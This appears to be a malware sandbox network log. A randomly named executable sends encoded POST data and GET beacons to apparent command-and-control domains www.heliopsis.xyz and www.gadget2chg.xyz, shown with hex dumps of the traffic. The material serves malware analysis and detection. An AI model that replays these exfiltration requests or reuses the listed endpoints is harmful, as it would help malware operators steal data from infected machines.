                                                            Nov 29, 2024 10:20:50.737303972 CET1236INData Raw: 71 45 6c 44 76 6c 74 76 49 42 63 41 6e 42 4a 66 51 34 70 37 72 59 37 77 48 4b 62 69 6e 4d 2b 54 46 36 6d 4e 61 70 77 47 64 6c 4a 36 46 70 77 41 39 53 67 2b 4c 72 62 41 67 4d 45 2f 79 66 2b 4e 36 30 36 69 61 50 4a 51 36 4f 55 64 74 6c 53 6f 51 51
                                                            Data Ascii: qElDvltvIBcAnBJfQ4p7rY7wHKbinM+TF6mNapwGdlJ6FpwA9Sg+LrbAgME/yf+N606iaPJQ6OUdtlSoQQCIVWidSTxGpMTVhV9+TvBjnNMKkFjhuhwDMMwRHQtJxpO3O+1/c9Oj0mQOzv4O7uIfVks34UMmjyrKaEoSVfdLF60+OXellypqjTaUnY2V/YZ9+Z7akkOGA9GonTXGoK8XfgQZa38JGOYkoGNg+6I/7o9vkybIu2m
                                                            Nov 29, 2024 10:20:50.737317085 CET1236INData Raw: 7a 50 2f 2f 46 72 53 2f 31 37 37 53 76 71 79 64 32 6e 47 47 43 47 45 4d 49 4d 59 68 4b 2f 73 78 50 63 4e 32 56 75 36 75 30 75 34 50 45 6f 6f 4a 59 51 53 67 6a 46 47 43 43 4f 4d 45 43 49 45 59 30 72 66 5a 31 76 75 38 78 67 75 2f 6f 38 4a 75 69 68
                                                            Data Ascii: zP//FrS/177Svqyd2nGGCGEMIMYhK/sxPcN2Vu6u0u4PEooJYQSgjFGCCOMECIEY0rfZ1vu8xgu/o8JuihXeSrMV/ljfj+tHurEHUmZnqodBQGVZtn6vX9sgnc/Y+rTtzXtdd9abWIEBd0RkbEeaHvz6Dftb2mo5tqvJ54SNIEGs4WVmRU4fXNCgF99KpQA4Jf3vBne/gnyk+v/h8DZwCctRrhAkVCUKFS0fKhAAapQGVSuHFWh
                                                            Nov 29, 2024 10:20:50.857400894 CET1236INData Raw: 6f 55 41 51 36 51 4d 33 71 78 35 70 47 49 53 50 46 61 64 32 47 2b 59 4a 44 75 56 30 6f 73 75 30 53 50 55 44 45 31 30 42 70 50 46 35 6e 42 35 41 71 46 49 50 45 6f 2b 67 4b 4f 79 46 6d 41 5a 4d 56 57 74 2b 75 5a 76 51 66 4b 67 64 47 42 51 57 49 46
                                                            Data Ascii: oUAQ6QM3qx5pGISPFad2G+YJDuV0osu0SPUDE10BpPF5nB5AqFIPEo+gKOyFmAZMVWt+uZvQfKgdGBQWIFWLqY7WHaxVfTABrU85BKBAZFXysap2IFy6lU1QW2B70dx1EBqV/ryA3gBIhtFBZ2L4QamMRZFmx62W9rpOJgeVB2Gh82NiI3SiPdCEqRk5BR10IQeY2BkYmZhTfNii7FEWsasxGoKCu09rBLlhgDnjF0R9rPiDmkd


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            17192.168.2.54999513.248.169.48802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:57.305640936 CET713OUTPOST /69zn/ HTTP/1.1
                                                            Host: www.heliopsis.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 203
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.heliopsis.xyz
                                                            Referer: http://www.heliopsis.xyz/69zn/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 5a 34 7a 33 31 4f 62 6f 53 30 48 56 4f 48 6e 4b 4d 41 34 70 6b 70 6f 69 52 2f 5a 72 6f 6b 2f 61 79 72 65 43 6e 32 59 54 75 70 34 44 4a 72 45 53 6f 6f 69 56 63 69 39 7a 30 4f 53 51 62 74 6c 6b 51 4d 69 6b 4d 37 79 4a 65 2b 53 58 41 55 57 38 42 6d 68 6d 42 38 4d 51 45 63 74 69 4d 67 59 34 36 6d 39 35 35 71 66 49 63 46 46 4b 4b 5a 73 69 37 32 6f 6d 54 62 4e 64 32 4b 75 47 4c 30 6e 65 6c 74 38 53 67 54 72 75 4f 4a 39 54 39 52 4b 4b 55 71 38 43 76 6f 65 55 44 6b 66 2b 77 79 59 42 56 34 31 57 73 77 53 6d 75 6f 69 61 64 68 78 37 51 51 73 55 48 76 43 38 69 33 56 78 4a 41 62 48 4d 4a 65 72 75 70 51 3d
                                                            Data Ascii: Kt=Z4z31OboS0HVOHnKMA4pkpoiR/Zrok/ayreCn2YTup4DJrESooiVci9z0OSQbtlkQMikM7yJe+SXAUW8BmhmB8MQEctiMgY46m955qfIcFFKKZsi72omTbNd2KuGL0nelt8SgTruOJ9T9RKKUq8CvoeUDkf+wyYBV41WswSmuoiadhx7QQsUHvC8i3VxJAbHMJerupQ=


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            18192.168.2.54999613.248.169.48802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:59.970870972 CET733OUTPOST /69zn/ HTTP/1.1
                                                            Host: www.heliopsis.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 223
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.heliopsis.xyz
                                                            Referer: http://www.heliopsis.xyz/69zn/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 5a 34 7a 33 31 4f 62 6f 53 30 48 56 42 48 58 4b 4f 6a 67 70 6a 4a 6f 68 65 66 5a 72 69 45 2b 54 79 72 43 43 6e 30 30 44 75 61 63 44 4a 4b 55 53 36 62 36 56 66 69 39 7a 37 75 53 5a 66 74 6c 52 51 4d 75 47 4d 2b 53 4a 65 2b 47 58 41 57 4f 38 42 58 67 55 43 4d 4d 53 64 4d 74 6b 47 41 59 34 36 6d 39 35 35 70 6a 79 63 42 52 4b 4b 4b 6b 69 36 58 6f 68 65 37 4e 61 78 4b 75 47 41 55 6e 61 6c 74 38 77 67 53 33 45 4f 4c 31 54 39 51 36 4b 55 37 38 42 32 34 65 53 4d 45 65 76 35 33 68 55 51 4f 77 57 68 44 36 75 79 35 75 43 63 58 41 52 4b 79 6b 38 55 50 75 45 79 6b 64 47 59 77 36 75 57 71 4f 62 77 2b 48 35 5a 65 33 77 78 31 4f 77 6e 6d 58 6a 6e 51 34 53 53 37 35 77
                                                            Data Ascii: Kt=Z4z31OboS0HVBHXKOjgpjJohefZriE+TyrCCn00DuacDJKUS6b6Vfi9z7uSZftlRQMuGM+SJe+GXAWO8BXgUCMMSdMtkGAY46m955pjycBRKKKki6Xohe7NaxKuGAUnalt8wgS3EOL1T9Q6KU78B24eSMEev53hUQOwWhD6uy5uCcXARKyk8UPuEykdGYw6uWqObw+H5Ze3wx1OwnmXjnQ4SS75w


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            19192.168.2.54999713.248.169.48802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:02.720715046 CET1750OUTPOST /69zn/ HTTP/1.1
                                                            Host: www.heliopsis.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 1239
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.heliopsis.xyz
                                                            Referer: http://www.heliopsis.xyz/69zn/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 5a 34 7a 33 31 4f 62 6f 53 30 48 56 42 48 58 4b 4f 6a 67 70 6a 4a 6f 68 65 66 5a 72 69 45 2b 54 79 72 43 43 6e 30 30 44 75 61 55 44 4a 34 4d 53 6f 4b 36 56 65 69 39 7a 6c 65 53 63 66 74 6c 32 51 50 65 43 4d 2b 65 5a 65 39 2b 58 41 31 47 38 44 6a 38 55 5a 38 4d 53 41 63 74 6c 4d 67 5a 67 36 6d 74 31 35 71 4c 79 63 42 52 4b 4b 4c 55 69 7a 6d 6f 68 59 37 4e 64 32 4b 75 4b 4c 30 6e 79 6c 74 30 4b 67 53 6a 2b 4f 37 56 54 39 77 71 4b 57 4a 55 42 70 6f 65 51 4e 45 65 33 35 33 6b 45 51 4f 46 76 68 44 2f 31 79 2b 69 43 63 52 55 4d 4e 57 73 49 42 5a 72 69 39 55 68 47 4a 31 53 77 66 73 65 7a 7a 65 50 64 65 65 71 63 2b 69 36 66 6e 30 43 34 31 56 77 65 53 72 73 4e 4d 5a 59 73 47 7a 54 64 67 50 30 4b 71 35 6b 37 33 67 72 49 67 43 48 30 69 62 34 4a 79 69 59 30 71 48 55 78 53 74 46 53 61 74 66 62 77 46 63 2f 58 4c 77 45 63 34 57 32 6b 63 48 54 52 62 38 63 68 44 34 47 48 4e 32 30 73 54 31 72 79 53 31 31 2f 68 4d 4d 4d 39 61 57 44 54 53 70 63 61 75 4d 52 59 4f 39 5a 2f 61 30 67 53 72 70 69 46 44 41 64 72 59 [TRUNCATED]
                                                            Data Ascii: Kt=Z4z31OboS0HVBHXKOjgpjJohefZriE+TyrCCn00DuaUDJ4MSoK6Vei9zleScftl2QPeCM+eZe9+XA1G8Dj8UZ8MSActlMgZg6mt15qLycBRKKLUizmohY7Nd2KuKL0nylt0KgSj+O7VT9wqKWJUBpoeQNEe353kEQOFvhD/1y+iCcRUMNWsIBZri9UhGJ1SwfsezzePdeeqc+i6fn0C41VweSrsNMZYsGzTdgP0Kq5k73grIgCH0ib4JyiY0qHUxStFSatfbwFc/XLwEc4W2kcHTRb8chD4GHN20sT1ryS11/hMMM9aWDTSpcauMRYO9Z/a0gSrpiFDAdrY0sbFPqLkgbrUMn73PvThHWksxpo4zEJt2skQd2204kxDWqwf8VWth3SeQzwdYfjRa1VyBcBa9FVZXLYv9vGvhLlOWNJYWXQD8NyOlOMrBeyktd/IYNBwWxZU6OjUCA5lB7uvw2BAWb9Kqg6DcxVyhLqclighWl6gdr5yxp5jZh36yhOriScFX/uKe6c0LQ+iMqZVbVS1uny2mNYzjL//XNdctWcZGsXPwmukwYevzMs5TDHk9St3GT+UggBXiH8sbaYsu9BR+0O2qAVKNRzgcsisbNh8KuotvOjldI+t0URdK9hO/IEbxJz4sn4rNdtChGUKnRe51BZtqe3kZztWP63Cls4dxU3UajW2YDWo4xLV6GfTHuHavpJ96gNK6A64cT5OuAyesbFQeackmQpeSOQtS/X7osg1Bc3IHrmBvHykOHuOaMtsXnjohjirRt6rJLJG3sfQWmgLxEBNO3hSBX/7ycawhKScPNS4Z40hn2Gm7+5od7YqYgXj3KimuKjTVNGeiNcBMuUx3qCuGUR6zIVJrBbE8Oai+giUSjIsSZ4lx8udC8KXzyEl/TqoqXNOwHpQAPEI0x6DnD1sxKbIEZ+wgu7ycV2EtKjL6Hz1rGJYnhTPBMYbdK5BnWTxPWcyUwJA2/M9wRxlG1wgf844KEWGjfE4gOZs2e [TRUNCATED]


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            20192.168.2.54999813.248.169.48802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:05.388109922 CET450OUTGET /69zn/?Kt=U6bX25ilP0+nNFzWMhcTpKMSa+pi3VyK6KjX4UoloLByN4NX1a2nZWsQj9ejM8NzdeHhYtmHRdmILHW/PyZcc+JUePBRJgs47Gll0LTLVnxoQfhnnmACRZp/5/eIF2CK+g==&ej=DjJHGh2p HTTP/1.1
                                                            Host: www.heliopsis.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:21:06.480633020 CET402INHTTP/1.1 200 OK
                                                            Server: openresty
                                                            Date: Fri, 29 Nov 2024 09:21:06 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 262
                                                            Connection: close
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4b 74 3d 55 36 62 58 32 35 69 6c 50 30 2b 6e 4e 46 7a 57 4d 68 63 54 70 4b 4d 53 61 2b 70 69 33 56 79 4b 36 4b 6a 58 34 55 6f 6c 6f 4c 42 79 4e 34 4e 58 31 61 32 6e 5a 57 73 51 6a 39 65 6a 4d 38 4e 7a 64 65 48 68 59 74 6d 48 52 64 6d 49 4c 48 57 2f 50 79 5a 63 63 2b 4a 55 65 50 42 52 4a 67 73 34 37 47 6c 6c 30 4c 54 4c 56 6e 78 6f 51 66 68 6e 6e 6d 41 43 52 5a 70 2f 35 2f 65 49 46 32 43 4b 2b 67 3d 3d 26 65 6a 3d 44 6a 4a 48 47 68 32 70 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                            Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Kt=U6bX25ilP0+nNFzWMhcTpKMSa+pi3VyK6KjX4UoloLByN4NX1a2nZWsQj9ejM8NzdeHhYtmHRdmILHW/PyZcc+JUePBRJgs47Gll0LTLVnxoQfhnnmACRZp/5/eIF2CK+g==&ej=DjJHGh2p"}</script></head></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            21192.168.2.549999176.32.38.183802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:12.154333115 CET716OUTPOST /k6y2/ HTTP/1.1
                                                            Host: www.gadget2chg.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 203
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.gadget2chg.xyz
                                                            Referer: http://www.gadget2chg.xyz/k6y2/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 53 69 6f 62 42 6b 4f 44 6e 50 46 4e 62 4f 6f 71 45 47 37 32 66 68 30 56 45 36 56 72 4d 4e 6b 4e 6c 66 75 41 73 51 68 72 63 44 51 51 43 33 63 66 33 7a 72 37 6c 35 36 6e 59 48 70 70 6c 79 62 75 4f 4d 62 58 63 2f 76 58 49 67 71 73 7a 63 49 4b 4b 32 30 39 4f 34 77 59 6f 39 38 79 63 4d 44 44 6f 74 42 79 37 45 68 58 76 43 30 65 31 66 54 69 76 52 6f 63 38 46 67 79 6f 70 31 2b 45 63 69 62 50 59 79 6f 67 65 54 75 4e 38 2b 6c 2f 30 48 34 32 76 74 6e 6a 36 6f 67 79 68 4c 64 39 61 2b 44 37 34 70 34 69 62 4b 74 61 65 63 67 6e 42 64 76 65 75 50 59 33 38 6d 49 66 64 49 78 64 69 33 71 73 5a 65 79 54 73 41 3d
                                                            Data Ascii: Kt=SiobBkODnPFNbOoqEG72fh0VE6VrMNkNlfuAsQhrcDQQC3cf3zr7l56nYHpplybuOMbXc/vXIgqszcIKK209O4wYo98ycMDDotBy7EhXvC0e1fTivRoc8Fgyop1+EcibPYyogeTuN8+l/0H42vtnj6ogyhLd9a+D74p4ibKtaecgnBdveuPY38mIfdIxdi3qsZeyTsA=
                                                            Nov 29, 2024 10:21:13.518372059 CET368INHTTP/1.1 404 Not Found
                                                            Server: nginx/1.22.1
                                                            Date: Fri, 29 Nov 2024 09:21:13 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Content-Encoding: gzip
                                                            Data Raw: 62 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 c1 0a c2 30 10 44 ef 82 ff b0 7e 40 1a 5b 7a 5c 72 11 05 0f 7a f1 0b 52 77 6d 02 69 22 31 82 fd 7b 13 6d 41 3c 7b f4 b8 b3 6f 86 61 d0 a4 c1 a9 e5 02 0d 6b 52 98 6c 72 ac da 75 0b c7 90 60 17 ee 9e 50 be 45 94 2f 24 a3 5d a0 b1 58 ce ec 13 47 85 a6 fe 76 64 05 e5 f4 2e d9 19 9a 2e df 5b ff 90 75 d5 34 55 fd 89 c8 39 54 ce 85 56 42 80 86 ab 26 b2 be 87 14 80 ec 4d 77 8e e1 70 da 6f 41 7b 82 8d 89 61 60 b8 44 cb 9e dc 08 1c 63 88 d9 d1 33 08 51 0a fe 23 7e b9 c5 13 e2 75 26 80 2b 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                            Data Ascii: b00D~@[z\rzRwmi"1{mA<{oakRlru`PE/$]XGvd..[u4U9TVB&MwpoA{a`Dc3Q#~u&+0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            22192.168.2.550000176.32.38.183802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:14.821362972 CET736OUTPOST /k6y2/ HTTP/1.1
                                                            Host: www.gadget2chg.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 223
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.gadget2chg.xyz
                                                            Referer: http://www.gadget2chg.xyz/k6y2/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 53 69 6f 62 42 6b 4f 44 6e 50 46 4e 4a 66 59 71 42 68 48 32 65 42 30 4b 4c 61 56 72 47 74 6b 4a 6c 66 79 41 73 52 6c 43 63 77 30 51 43 53 59 66 77 33 33 37 69 35 36 6e 51 6e 70 73 37 43 62 31 4f 4d 65 71 63 36 58 58 49 67 75 73 7a 63 59 4b 4c 46 63 38 63 34 77 61 78 74 38 77 59 4d 44 44 6f 74 42 79 37 45 30 79 76 43 38 65 70 2f 6a 69 76 77 6f 64 31 6c 67 78 2b 35 31 2b 41 63 69 68 50 59 79 77 67 66 2b 37 4e 2b 57 6c 2f 31 33 34 78 2b 74 6f 77 61 6f 69 38 42 4b 51 78 61 33 33 32 5a 64 6b 69 6f 76 75 4f 50 34 37 76 58 73 46 45 4d 48 77 6b 63 4b 77 50 4f 41 47 4d 53 57 44 32 36 4f 43 4e 37 58 78 78 48 45 57 75 37 30 70 74 78 33 4c 63 5a 68 43 67 2b 79 61
                                                            Data Ascii: Kt=SiobBkODnPFNJfYqBhH2eB0KLaVrGtkJlfyAsRlCcw0QCSYfw337i56nQnps7Cb1OMeqc6XXIguszcYKLFc8c4waxt8wYMDDotBy7E0yvC8ep/jivwod1lgx+51+AcihPYywgf+7N+Wl/134x+towaoi8BKQxa332ZdkiovuOP47vXsFEMHwkcKwPOAGMSWD26OCN7XxxHEWu70ptx3LcZhCg+ya
                                                            Nov 29, 2024 10:21:16.224737883 CET368INHTTP/1.1 404 Not Found
                                                            Server: nginx/1.22.1
                                                            Date: Fri, 29 Nov 2024 09:21:16 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Content-Encoding: gzip
                                                            Data Raw: 62 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 c1 0a c2 30 10 44 ef 82 ff b0 7e 40 1a 5b 7a 5c 72 11 05 0f 7a f1 0b 52 77 6d 02 69 22 31 82 fd 7b 13 6d 41 3c 7b f4 b8 b3 6f 86 61 d0 a4 c1 a9 e5 02 0d 6b 52 98 6c 72 ac da 75 0b c7 90 60 17 ee 9e 50 be 45 94 2f 24 a3 5d a0 b1 58 ce ec 13 47 85 a6 fe 76 64 05 e5 f4 2e d9 19 9a 2e df 5b ff 90 75 d5 34 55 fd 89 c8 39 54 ce 85 56 42 80 86 ab 26 b2 be 87 14 80 ec 4d 77 8e e1 70 da 6f 41 7b 82 8d 89 61 60 b8 44 cb 9e dc 08 1c 63 88 d9 d1 33 08 51 0a fe 23 7e b9 c5 13 e2 75 26 80 2b 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                            Data Ascii: b00D~@[z\rzRwmi"1{mA<{oakRlru`PE/$]XGvd..[u4U9TVB&MwpoA{a`Dc3Q#~u&+0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            23192.168.2.550001176.32.38.183802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:17.485955000 CET1753OUTPOST /k6y2/ HTTP/1.1
                                                            Host: www.gadget2chg.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 1239
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.gadget2chg.xyz
                                                            Referer: http://www.gadget2chg.xyz/k6y2/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 53 69 6f 62 42 6b 4f 44 6e 50 46 4e 4a 66 59 71 42 68 48 32 65 42 30 4b 4c 61 56 72 47 74 6b 4a 6c 66 79 41 73 52 6c 43 63 77 38 51 43 6b 6b 66 32 57 33 37 6a 35 36 6e 52 6e 70 74 37 43 61 33 4f 49 79 75 63 37 72 68 49 6c 79 73 77 2f 67 4b 4d 30 63 38 57 34 77 61 35 4e 38 78 63 4d 44 57 6f 74 52 32 37 45 6b 79 76 43 38 65 70 38 37 69 6d 42 6f 64 35 46 67 79 6f 70 30 78 45 63 6a 4f 50 59 71 67 67 66 4c 41 4e 50 32 6c 2f 56 6e 34 77 49 35 6f 7a 36 6f 38 70 42 4c 44 78 61 72 6f 32 5a 78 6f 69 70 62 51 4f 4d 6f 37 2f 7a 38 66 5a 65 76 73 77 36 4c 53 4e 65 6f 41 57 43 65 37 37 62 61 58 52 70 65 52 74 6d 38 6a 70 4f 41 76 6f 6c 75 59 41 74 6c 77 75 76 7a 58 77 46 46 30 51 52 6f 33 4d 70 48 42 74 72 4c 76 61 4f 73 77 61 50 4c 6a 37 38 56 67 49 32 66 63 66 33 56 4b 4e 49 74 52 77 48 59 30 49 2b 5a 6c 62 65 73 38 47 51 6e 50 73 35 5a 73 34 69 6c 39 33 71 62 59 6f 5a 4d 57 59 33 4a 54 6f 58 56 2b 30 59 34 69 65 4a 4d 2f 63 63 78 67 4a 43 36 32 65 41 48 41 78 6f 70 34 6a 63 4a 4e 37 55 4a 72 2b 30 69 [TRUNCATED]
                                                            Data Ascii: Kt=SiobBkODnPFNJfYqBhH2eB0KLaVrGtkJlfyAsRlCcw8QCkkf2W37j56nRnpt7Ca3OIyuc7rhIlysw/gKM0c8W4wa5N8xcMDWotR27EkyvC8ep87imBod5Fgyop0xEcjOPYqggfLANP2l/Vn4wI5oz6o8pBLDxaro2ZxoipbQOMo7/z8fZevsw6LSNeoAWCe77baXRpeRtm8jpOAvoluYAtlwuvzXwFF0QRo3MpHBtrLvaOswaPLj78VgI2fcf3VKNItRwHY0I+Zlbes8GQnPs5Zs4il93qbYoZMWY3JToXV+0Y4ieJM/ccxgJC62eAHAxop4jcJN7UJr+0irpB3w4//yCWjA8t4WbVw67FBM3oqEgNQHXtbriqUkqc3sZnaNpP4eUyuaguTKDQnlwVoWtuszTCuPcfyJk/cddacU3TVWUNMRIB+w6+gkpDWxh1DwAOBT7p0wVcAn8k2ZAhLz1FzOfYVdIaPdvg79ICXNbjQyvabbdrsQUhcrOtJiHSlmjX+R5iUgK9kgWDRb3KzL4WNei2J9aLcjMuU2tKvHqmUAWO9RWzjYbwfMoWDcRu65HsWiq2TLGvhYc+0H9KClSPMghoGq1JYJl0tymNV6Um2QDj6xiOTK29R/TjnhR/mxVIFEj+ezIK33mTqe2d4/hKsNQ4TIu7yZiuDCUOXboNXOtH+js9ApG+LoZG/DyczMHqbuzPG7Zt4tTKg+QJ3AOoz6nfPYtui0OlyRj03BX9f14y9bPRVmXe1dWnePZ4YW7hZfIsGgKwQ50i9ziGXfsf0EQWbdAbqR3aY6y6Pk1nMazejAbcKjeuV70PCHEbogjPmzI7v9/Ec/kZdIcyK/8/bBr0J3OB9bSn0YfOk2EmiJ3nurR/mck8PHOk2V/Urs6HQXrj+QuH/mFpk7km6lcTbk5lZZEHsd2gikcFHdSPjDXCgjqAe01ud0aZ1xtyNl6R0NiHzZJ9ACzSY7vxFughsa7si3Tfv1CkXCZaS/Q0wSvkGEZ [TRUNCATED]
                                                            Nov 29, 2024 10:21:18.798785925 CET368INHTTP/1.1 404 Not Found
                                                            Server: nginx/1.22.1
                                                            Date: Fri, 29 Nov 2024 09:21:18 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Content-Encoding: gzip
                                                            Data Raw: 62 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 c1 0a c2 30 10 44 ef 82 ff b0 7e 40 1a 5b 7a 5c 72 11 05 0f 7a f1 0b 52 77 6d 02 69 22 31 82 fd 7b 13 6d 41 3c 7b f4 b8 b3 6f 86 61 d0 a4 c1 a9 e5 02 0d 6b 52 98 6c 72 ac da 75 0b c7 90 60 17 ee 9e 50 be 45 94 2f 24 a3 5d a0 b1 58 ce ec 13 47 85 a6 fe 76 64 05 e5 f4 2e d9 19 9a 2e df 5b ff 90 75 d5 34 55 fd 89 c8 39 54 ce 85 56 42 80 86 ab 26 b2 be 87 14 80 ec 4d 77 8e e1 70 da 6f 41 7b 82 8d 89 61 60 b8 44 cb 9e dc 08 1c 63 88 d9 d1 33 08 51 0a fe 23 7e b9 c5 13 e2 75 26 80 2b 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                            Data Ascii: b00D~@[z\rzRwmi"1{mA<{oakRlru`PE/$]XGvd..[u4U9TVB&MwpoA{a`Dc3Q#~u&+0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            24192.168.2.550002176.32.38.183802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:20.139540911 CET451OUTGET /k6y2/?ej=DjJHGh2p&Kt=fgA7CTCLrtlGNeUoMGyIbSQ8EJ1iYKEZg/zzngBydhoDPXUc6XmRrpi1DmZrnRnENYfWN5nsDCGikMIgKABsR55prdsvYtX8s/hh6XNJsBZDoY3izyRr0mIV4vACAfrFQg== HTTP/1.1
                                                            Host: www.gadget2chg.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:21:21.504354954 CET705INHTTP/1.1 404 Not Found
                                                            Server: nginx/1.22.1
                                                            Date: Fri, 29 Nov 2024 09:21:21 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 555
                                                            Connection: close
